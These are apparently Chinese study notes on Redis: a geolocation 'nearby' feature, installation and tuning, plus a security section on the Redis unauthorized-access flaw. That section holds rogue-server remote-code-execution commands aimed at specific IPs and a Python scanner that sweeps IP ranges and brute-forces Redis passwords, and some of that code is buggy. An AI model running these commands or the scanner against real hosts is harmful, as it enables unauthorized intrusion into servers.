附近人
- windows安装
- 附近人列表功能
-
- mysql
- [redis GEO](#redis GEO)
- [CNNVD-201511-230 未授权访问](#CNNVD-201511-230 未授权访问)
- [python 多线程 redis](#python 多线程 redis)
-
- 大端模式与小端模式
-
-
- IP地址的不同表现形式
-
- 1.字符串表现形式
- [2. 整数表现形式](#2. 整数表现形式)
- 3.大小端模式下的IP地址
- [0x01 进入python正题](#0x01 进入python正题)
- [0x02 Redis 服务特征识别](#0x02 Redis 服务特征识别)
- [0x03 代码编写](#0x03 代码编写)
-
- 缓存redis
- 初识
- 安装
- [redis持久化 与 常见问题](#redis持久化 与 常见问题)
- 深入
-
-
- 电商秒杀系统实战&&Redis集成
windows安装
Ruoyi-SpringCloud版本-2.安装redis服务端和客户端-win7
附近人列表功能
方案 | 优势 | 缺点 |
---|---|---|
Mysql外接正方形 | 逻辑清晰,实现简单,支持多条件筛选 | 效率较低,不适合大数据量,不支持按距离排序 |
Mysql+Geohash | 借助索引有效提高效率,支持多条件筛选 | 不支持按距离排序,存在数据库瓶颈 |
Redis+Geohash | 效率高,集成便捷,支持距离排序 | 不适合复杂对象存储,不支持多条件查询 |
mysql
cpp
轻量级 1w 以内
经纬度 ---> 四个临界点
redis GEO
GEO 就是 Geolocation 的简写形式,代表地理坐标。Redis 在 3.2 版本中加入了对 GEO 的支持,允许存储地理坐标信息,帮助我们根据经纬度来检索数据。
https://zhuanlan.zhihu.com/p/651015058
## geohash
地理位置操作
GEOADD 将指定的地理空间位置 经度纬度 名称 存储到指定key
GEORADIUS 以给定的经纬度为中心 找出某一半径内元素
## thinkphp
```php
// 假设您已经获取了用户的经纬度和需要搜索的距离范围
$lng = $_GET['lng']; // 用户的经度
$lat = $_GET['lat']; // 用户的纬度
$distance = $_GET['distance']; // 需要搜索的距离范围,单位为千米
// 计算经纬度范围
$earth = 6378.137; // 地球半径
$pi = 3.1415926535898; // 圆周率
$lng_min = $lng - rad2deg($distance / $earth / cos(deg2rad($lat)));
$lng_max = $lng + rad2deg($distance / $earth / cos(deg2rad($lat)));
$lat_min = $lat - rad2deg($distance / $earth);
$lat_max = $lat + rad2deg($distance / $earth);
// 查询商品表,根据距离排序,取前10条数据
$goods = Db::name('goods')
->field("*, (2 * $earth * asin(sqrt(pow(sin($pi * ($lat - lat) / 360), 2) + cos($pi * $lat / 180) * cos(lat * $pi / 180) * pow(sin($pi * ($lng - lng) / 360), 2)))) as distance")
->where('lng', 'between', [$lng_min, $lng_max])
->where('lat', 'between', [$lat_min, $lat_max])
->order('distance', 'asc')
->limit(10)
->select();
// 返回推荐商品的数据
return json($goods);
<html>
<head>
<meta charset="utf-8">
<title>商品推荐</title>
<style>
.goods {
display: flex;
flex-wrap: wrap;
justify-content: space-around;
margin: 20px;
}
.item {
width: 200px;
height: 300px;
border: 1px solid #ccc;
margin: 10px;
padding: 10px;
box-sizing: border-box;
}
.item img {
width: 180px;
height: 180px;
}
.item h3 {
font-size: 16px;
margin: 10px 0;
}
.item p {
font-size: 14px;
color: #666;
}
</style>
</head>
<body>
<div class="goods"></div>
<script>
// 假设您已经获取了用户的经纬度和需要搜索的距离范围
var lng = 120.15; // 用户的经度
var lat = 30.28; // 用户的纬度
var distance = 10; // 需要搜索的距离范围,单位为千米
// 发送Ajax请求,获取推荐商品的数据
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://localhost/goods?lng=' + lng + '&lat=' + lat + '&distance=' + distance);
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
var data = JSON.parse(xhr.responseText);
// 渲染商品列表
var goods = document.querySelector('.goods');
goods.innerHTML = '';
for (var i = 0; i < data.length; i++) {
var item = document.createElement('div');
item.className = 'item';
item.innerHTML = `
<img src="${data[i].image}" alt="${data[i].name}">
<h3>${data[i].name}</h3>
<p>价格:${data[i].price}元</p>
<p>距离:${data[i].distance.toFixed(2)}千米</p>
`;
goods.appendChild(item);
}
}
};
xhr.send();
</script>
</body>
</html>
CNNVD-201511-230 未授权访问
一、漏洞描述
Redis 是美国 RedisLabs 公司赞助的一套开源的使用 ANSIC 编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的 API。
Redis 中存在未授权访问漏洞,该漏洞源于程序在默认配置下会绑定在 6379 端口,这导致其直接暴露在公网中,可以接受来自任何地址发来的请求。
当程序没有开启认证选项端口对外开放时,攻击者可借助目标服务器访问权限利用该漏洞未授权访问 Redis 并读取 Redis 的数据,在服务器上写入公钥,进而使用对应的私钥直接登录目标服务器。
二、漏洞影响
Redis <= 5.0.5
三、漏洞复现
1、环境搭建
使用 Vulhub 在服务器上搭建:
cd /vulhub/redis/4-unacc docker-compose up -d 12
以开放在默认的 6379 端口,在攻击机使用redis-cli -h target-ip即可进行连接
2、漏洞复现
测试命令执行:
得到回显,可见存在未授权访问漏洞。
四、漏洞POC
使用 Redis 客户端连接:
redis-cli -h 0.0.0.0 1
执行info命令。
五、提权
https://blog.51cto.com/jiachen/2514921
https://www.cnblogs.com/zpchcbd/p/11739232.html
六、整改
https://blog.csdn.net/qq_40907977/article/details/106207488
https://blog.csdn.net/weixin_40412037/article/details/120347458
python3 redis-rce.py -r 115.29.67.37 -L 101.43.159.27 -f ./module.so
https://blog.csdn.net/Seizerz/article/details/103139905
https://www.cnblogs.com/1008612mrzou/p/14832260.html
redis-rogue-server
git clone https://github.com/n0b0dyCN/redis-rogue-server.gitcd redis-rogue-servepython3 redis-rogue-server.py --rhost 192.168.10.187 --lhost 192.168.10.1
https://mp.weixin.qq.com/s/xMOlwnU5Jac25GPNnpD8Hg
python 多线程 redis
大端模式与小端模式
在内存中,数据的表示模式
分为两种:大端模式和小端模式。
大端模式
指数据的高字节保存在内存的低地址中,
而数据的低字节保存在内存的高地址中。
小端模式
数据的高字节保存在内存的高地址中
而数据的低字节保存在内存的低地址中
这种存储模式将地址的高低和数据位权有效地结合起来,
高地址部分权值高,低地址部分权值低,和我们的逻辑方法一致。
在小端模式表示法下,整数0x78563412在内存中的表示
- 注意:Intel系列的CPU采用小端模式,而当数据在网络上传输时采用大端模式。
IP地址的不同表现形式
理解这些表现形式以及它们之间的相互转换方法,是遍历指定范围内的IP地址的一个重要方法。
1.字符串表现形式
也就是通常所说的点分十进制形式,如192.168.1.1,这是我们最熟悉的一种表现形式。
2. 整数表现形式
我们知道IPv4是32位的,而8位可以表示1个字节,
也就是说,IPv4地址可以表示为4字节的数据,刚好可以表示为一个无符号int类型的数据。
那么字符串形式的IP地址如何转换为整数数值呢?
因为点分十进制的IP中,每个被点分隔的数据占用1字节,
可以表示的范围是0~255,所以可以认为这是一个256进制的数,这样转换就非常简单了。
以IP地址220.181.111.188为例,其整数值为3702878140,计算过程为:
256^3*220+256^2*181+256^1*111+256^0*188=
256*256*256*220+256*256*181+256*111+188=3702878140
实际上220.181.111.188这个IP地址是pingwww.baidu.com得来的,
所以在浏览器中访问http://3702878140/实际上访问的就是百度了。
3.大小端模式下的IP地址
因为涉及到网络传输,所以当IP地址转换为数值形式时,
还存在大端和小端两种不同的形式。
我们计算出来的3702878140是小端模式表示法下的值,
在当做socket参数
使用时,需要转换为大端模式。
0x01 进入python正题
Python的socket库
Python提供了一个socket库用于网络相关的编程,这里对其中几个重要的函数进行介绍
1.socket.socket(family,type)
用于创建一个socket;
family参数指定套接字的家族,在IPv4网络编程中值固定为socket.AF_INET;
type参数表明套接字的类型是UDP还是TCP,
UDP使用socket.SOCK_DGRAM,TCP使用socket.SOCK_STREAM。
2.socket.connect(address)
与指定的服务器建立通信连接,
其中address是一个元组(ip,port),
其中IP为字符串,port为数值,如("192.168.1.1",6379)。
如果连接失败,该函数会抛出一个异常。
3.socket.connect_ex(address)
与指定的服务器建立通信连接,
其中address是一个元组(ip,port),其中IP为字符串,port为数值,如("192.168.1.1",6379)。
连接成功时函数返回0,
否则返回非0值。
4.socket.settimeout(value)
当使用socket.connect()或socket.connect_ex()连接服务器时,
在连通之前会阻塞一段时间,如果无法连通的话可能会阻塞很久,这会浪费许多时间。
因此,可以使用settimeout函数设置一个超时时间,
value是秒钟数,表示如果在这个时间内无法连接则直接返回。
5.socket.sendall(data)
立即把参数data指定的数据发送给远程服务器,其中data是字符串类型,
其中可以存储任意的二进制数据。
6.socket.recv(bufsize)
从远程服务器接收bufsize字节的数据。
7.socket.close()
关闭与远程服务器的socket连接。
Python的sys库
在使用C语言编写命令行程序是,
main函数提供了两个参数intargc和char**argv,
其中argc指定命令行参数的个数,argv则存储具体的命令行参数。
其中,argv[0]是命令行程序本身的名字,argv[1]存储第一个命令行参数,argv[2]存储第二个命令行参数,以此类推。
在Python中,可以通过sys库的argv参数获取命令行参数的值,
即sys.argv[0]、sys.argv[1]等,通过len(sys.argv)可以获取命令行参数的个数。
0x02 Redis 服务特征识别
在编写安全扫描器之前,我们遇到的第一个问题是:
如何识别指定的端口上运行的服务是否是Redis服务?
首先,Redis服务并不一定只能在6379端口上进行监听,
这个选项可以在Redis配置文件redis.conf里面进行修改;
其次,即使6379端口处于开放状态,我们也需要对其进行判断是否是Redis服务。
扫描器一般都通过端口返回的交互数据来判别端口上运行的具体服务,识别Redis服务也不例外。
首先,介绍一下Redis的PING和AUTH命令。
1.PING命令
在成功连接上Redis服务器之后,客户端往服务器发送PING命令,服务器会给客户端返回PONG这个字符串。
2.AUTH命令
如果Redis服务设置了连接密码,那么首先需要通过AUTH命令确认登陆密码。
从上面的操作步骤,我们已经可以总结出识别Redis服务的方法了:
1.指定的端口是否开放TCP服务;
2.执行PING命令:
a)如果提示
(error)NOAUTHAuthenticationrequired.表明是Redis服务
且需要登录密码;
b)如果提示
PONG,表明是Redis服务,且无需登录密码;
c)提示其他结果,表明不是Redis服务;
3.如果需要登录密码,执行AUTH命令:
a)如果提示
(error)ERRinvalidpassword,表明密码错误;
b)如果提示
OK,表明密码正确;
0x03 代码编写
编程实现Redis服务识别
在编写代码之前,我们还需要知道的一点是:
客户端通过socket往服务器发送命令时,需要在后面加上回车换行,即\r\n;
我们在使用redis-cli发送PING命令时,redis-cli会自动加上\r\n,拼接成PING\r\n。
在编程实现扫描器时,我们需要自己加上\r\n。
识别Redis服务的代码如下所示
#判断是否为redis服务
def is_redis_server(ip, port):
"""
参数ip:字符串形式IP地址
参数port:数值形式端口号,如6379
返回值:-1 端口未开放,或者开放但不是Redis服务
0 为Redis服务,但需要密码
1 为Redis服务,不需要密码
"""
# 创建一个TCP类型的socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2.0)
# 尝试连接端口,如果返回值不为0,表示端口没有开放
if s.connect_ex((ip, port)) != 0:
return -1
s.sendall("PING\r\n")
msg = s.recv(1024)
res = -1
# 如果返回值包含PONG,成功且无密码
if msg.find("PONG") != -1:
res = 1
# 如果返回值如下,则表示需要密码
elif msg.find("NOAUTH") != -1:
res = 0
# 否则不是Redis服务,res = -1
# 关闭socket链接
s.close()
return res
在上面的代码中,我们没有使用connect函数连接到目标服务器,而是使用了connect_ex函数。
因为前者在连接失败的情况下会抛出一个异常,
我们需要在代码中加入异常处理的代码;而使用connect_ex直接判断返回值即可,
可以使得代码更加的简洁。
加入主函数
if __name__ =="__main__":
ip = "127.0.0.1"
port = 6379
res = is_redis_server(ip,port)
print res
密码字典爆破
Redis并没有限制客户端输入登录密码的次数。出于安全检测的目的,我们只对其进行弱口令检查
断的往Redis服务器发送AUTH命令即可,
如果返回结果包含字符串invalidpassword,表明密码错误,
如果返回结果包含字符串OK,则表明密码正确。
爆破密码的代码封装在check_password函数中,函数首先读取dict.txt文件的密码列表,
随后遍历列表中的密码并生成AUTH命令,
将生成的AUTH命令发送到服务器,
根据服务器的返回信息判断密码是否正确:
如果返回的信息包含OK则表明密码正确。具体的代码如下所示:
def Check_password(s):
"""
s:已连接redis服务器的socket
返回值:密码字符串,失败返回None
"""
fp = open("dict.txt") #打开密码字典
passwords = fp.readline()
fp.close()
for pwd in passwords:
#删除末尾的"\r","\n","\r\n"
pwd = pwd.strip()
s.sendall("AUTH %s \r\n" %pwd)
msg = s.recv(1024)
if msg.find("OK") != -1:
return pwd
return None
只需要稍微修改is_redis_server函数即可,
在其中加入对check_password的调用
批量扫描同一网段下的主机
网段扫描功能,即可以指定要扫描的IP范围。
这里扫描IP范围直接通过命令行参数指定,如10.1.1.1 10.1.1.255表明共有255台主机需要扫描
那么如何遍历这255个IP地址呢?
- 1.将字符串形式的点分十进制IP地址转换为数值
首先使用split将IP地址进行分离,比如"10.1.1.47".split("."),
这样各个点之间的数据就分离了,
得到列表["10","1","1","47"],
随后将列表中的元素从字符串转换为int,
并乘以相应的系数后累加,代码如下:
def ip_str2int(ip):
tmp = ip.split(".")
a1 = int(tmp[0])*256*256*256
a2 = int(tmp[1])*256*256
a3 = int(tmp[2])*256
a4 = int(tmp[3])
ip = a1 + a2 + a3 + a4
return ip
- 2.通过步骤1,我们就可以计算出字符串IP地址对应的数值范围了,
通过for循环遍历这个范围即可。
遍历得到的数值IP还需要转换为字符串,这里通过位运算中的"与操作"以及"移位操作"实现。
例如IP地址17.34.51.68对应的数值形式为0x11223344(16进制),
那么0x11223344&0xFF000000得到0x11000000,
再向右移动24位就可以得到0x11,
即10进制的17。对应的代码如下:
def ip_int2str(ip):
a1 = (ip&0xFF000000)>>24
a2 = (ip&0x00FF0000)>>16
a3 = (ip&0x0000FF00)>>8
a4 = ip&0x0000000FF
ip = "%d.%d.%d.%d" %(a1,a2,a3,a4)
return ip
网段范围扫描的代码封装在scan函数中,其中beg_ip通过sys.argv[1]获取,end_ip通过sys.argv[2]获取,具体的代码如下所示
def scan(beg_ip,end_ip):
"""对指定ip返回内的主机进行检测"""
#将点分十进制ip,转化成数值
beg_ip = ip_str2int(beg_ip)
end_ip = ip_str2int(end_ip)
#遍历数值ip返回
for ip in range(beg_ip,end_ip+1):
ip = ip_int2str(ip)
res,pwd = is_redis_server(ip,6379)
if res ==1:
print(ip)
elif res==0 and pwd!=None:
print ("%s -> %s"%(ip,pwd))
print("Scan Done!")
添加主函数
if __name__ =="__main__":
if len(sys.argv)== 3:
scan(sys.argv[1],sys.argv[2])
多线程扫描
单线程的代码进行封装,然后使用python的threading库,便可以轻松实现多线程任务
缓存redis
python
info //查看信息
flushall //删除所有数据库内容
flushdb //刷新数据库
KEYS * //查看所有键,使用select num可以查看键值数据
set test "whoami" //设置变量
config set dir dirpath //设置路径等配置
config get dir/dbfilename //获取路径和数据配置信息
save //保存
get 变量 //查看变量名出
初识
#节点服务器redis#
- 高性能
- Key-Value
- 读写分离来承载读请求QPS超过10万
- 多种数据结构
(五大基础 字符串,哈希,列表,序列有序集合)
String,Hash,List,Set,Sorted Set
(衍生bitmaps、hyperloglog、geo )
- 丰富功能
pipeline(提高客户端并发)
发布订阅
geo
位图
支持Lua脚本
简单事务
- 高可用 分布式
Redis Sentinel(哨兵)
Redis Cluster Codis开源
- 单线程 批量处理
- 数据结构 应用场景
- 各个语言 客户端使用
#redis运维#
- 性能优化
- 分布式基础
- 服务/客户 交互故障 困扰解决------高可用
- 分布式特性 ------伸缩
- 开源 源码定制化
- 键值 存储 服务系统
------ key-Value 特性
- 两种持久化方式(RDB&AOF)
安装
ping www.baidu.com
wget http://download.redis.io/releases/redis-4.0.6.tar.gz
tar -xzf redis-4.0.6.tar.gz
##### ln -s redis-4.0.6 redis
mv redis-4.0.6 redis
cd redis
make && make install
cd /root/redis/
vi redis.conf
cd /root/redis/utils
./install_server.sh
/root/redis/redis.conf
/root/redis/redis.log
/root/redis/data
cat /root/redis/redis.log
cd /etc
mkdir redis
cp /root/redis/redis.conf /etc/redis/6379.conf
cp /root/redis/utils/redis_init_script /etc/init.d/redisd
cd /etc/init.d
vi redisd
chkconfig redisd on
service redisd start
ps -ef |grep redis
- 根据各种应用场景 去改就好
redis持久化 与 常见问题
#开发运维#
- fork操作------子进程开销与优化
fork本身
(1)同步操作
虽然fork同步操作是非常快的,但是如果需要同步的数据量过大,fork就会阻塞redis主进程。
(2)与内存量息息相关
内存越大,fork同步数据耗时越长,当然也跟服务器有关,服务器有物理机,也有虚拟机。
(3)info:latest_fork_usec
使用此命令可以查看持久化花费的时间,如果持久化时间过长,就会造成卡顿。
例如:
如果redis此时QPS上万,此时redis正在持久化,而且持久化时间比较长(1s或者10几秒),
这个时候就会严重阻塞redis。
2、改善fork
(1)优先使用物理机或者高效的虚拟机支持fork操作
(2)控制redis实际最大可用内存:maxmemory
(3)合理配置linux内存分配策略:vm.overcommit_memory=1
(4)降低fork频率:例如放宽AOF重写自动触发时机,减少不必要的全量复制。
- 进程外开销
- AOF追加阻塞 ------造成客户端超时
- 单机 多部署 实例
解决方案
考虑到redis一般都是部署在服务器上作为服务存在的。所以,本文的解决方案都是持久性配置,不是临时配置。
第一个警告:
The TCP backlog setting of 511 cannot be enforced because /proc/sys/net/core/somaxconn is set to the lower value of 128.
对一个高负载的环境来说tcp设置128这个值,太小了。
然后我们可以手动设置,或者设置永久值.所以执行:
echo 511 > /proc/sys/net/core/somaxconn
但是这个只是暂时的。如果想要永久解决,打开/etc/sysctl.conf
vi /etc/sysctl.conf
在这里面添net.core.somaxconn= 1024 然后执行sysctl -p 就可以永久消除这个warning
第二个警告:overcommit_memory is set to 0! Background save may fail under low memory condition. To fix this issue add 'vm.overcommit_memory = 1' to/etc/sysctl.conf and then reboot or run the command 'sysctl vm.overcommit_memory=1' for this to take effect.
将vm.overcommit_memory = 1添加到/etc/sysctl.conf中,然后执行sysctl -p生效配置。
sysctl -p
第三个警告:you have Transparent Huge Pages (THP) support enabled in your kernel. This will create latency and memory usage issues with Redis. To fix thisissue run the command 'echo never > /sys/kernel/mm/transparent_hugepage/enabled' as root, and add it to your /etc/rc.local in order to retain thesetting after a reboot. Redis must be restarted after THP is disabled.
将
echo never > /sys/kernel/mm/transparent_hugepage/enabled
添加到/etc/rc.local中
vi /etc/rc.local
然后执行source /etc/rc.local生效配置
cd /etc/init.d
systemctl restart redis_6379
死活连接不上
禁用防火墙
在RHEL7开始,使用systemctl工具来管理服务程序,包括了service和chkconfig
[root@rhel7 ~]# systemctl stop firewalld.service
[root@rhel7 ~]# systemctl disable firewalld.service
[root@rhel7 ~]# systemctl status firewalld.service
启动一个服务:systemctl start firewalld.service
关闭一个服务:systemctl stop firewalld.service
重启一个服务:systemctl restart firewalld.service
显示一个服务的状态:systemctl status firewalld.service
在开机时启用一个服务:systemctl enable firewalld.service
在开机时禁用一个服务:systemctl disable firewalld.service
查看服务是否开机启动:systemctl is-enabled firewalld.service;echo $?
查看已启动的服务列表:systemctl list-unit-files|grep enabled
关闭防火墙
改完配置一定要重启!重启!重启!
深入
前题
- redis 集群搭建
- 伸缩细节 扩容 、缩容
- 客户端使用
- 单机 Sentinel Cluster 客户端改动
- JedisPool JedisSentinelPool 连接
- 自身方式连接
- 节点迁移 槽迁移
电商秒杀系统实战&&Redis集成
- 对象序列化 fastjson 明文可读json
#添加依赖#
#添加配置#
#创建redisconfig#
- 生成 get方法
- 添加 redis server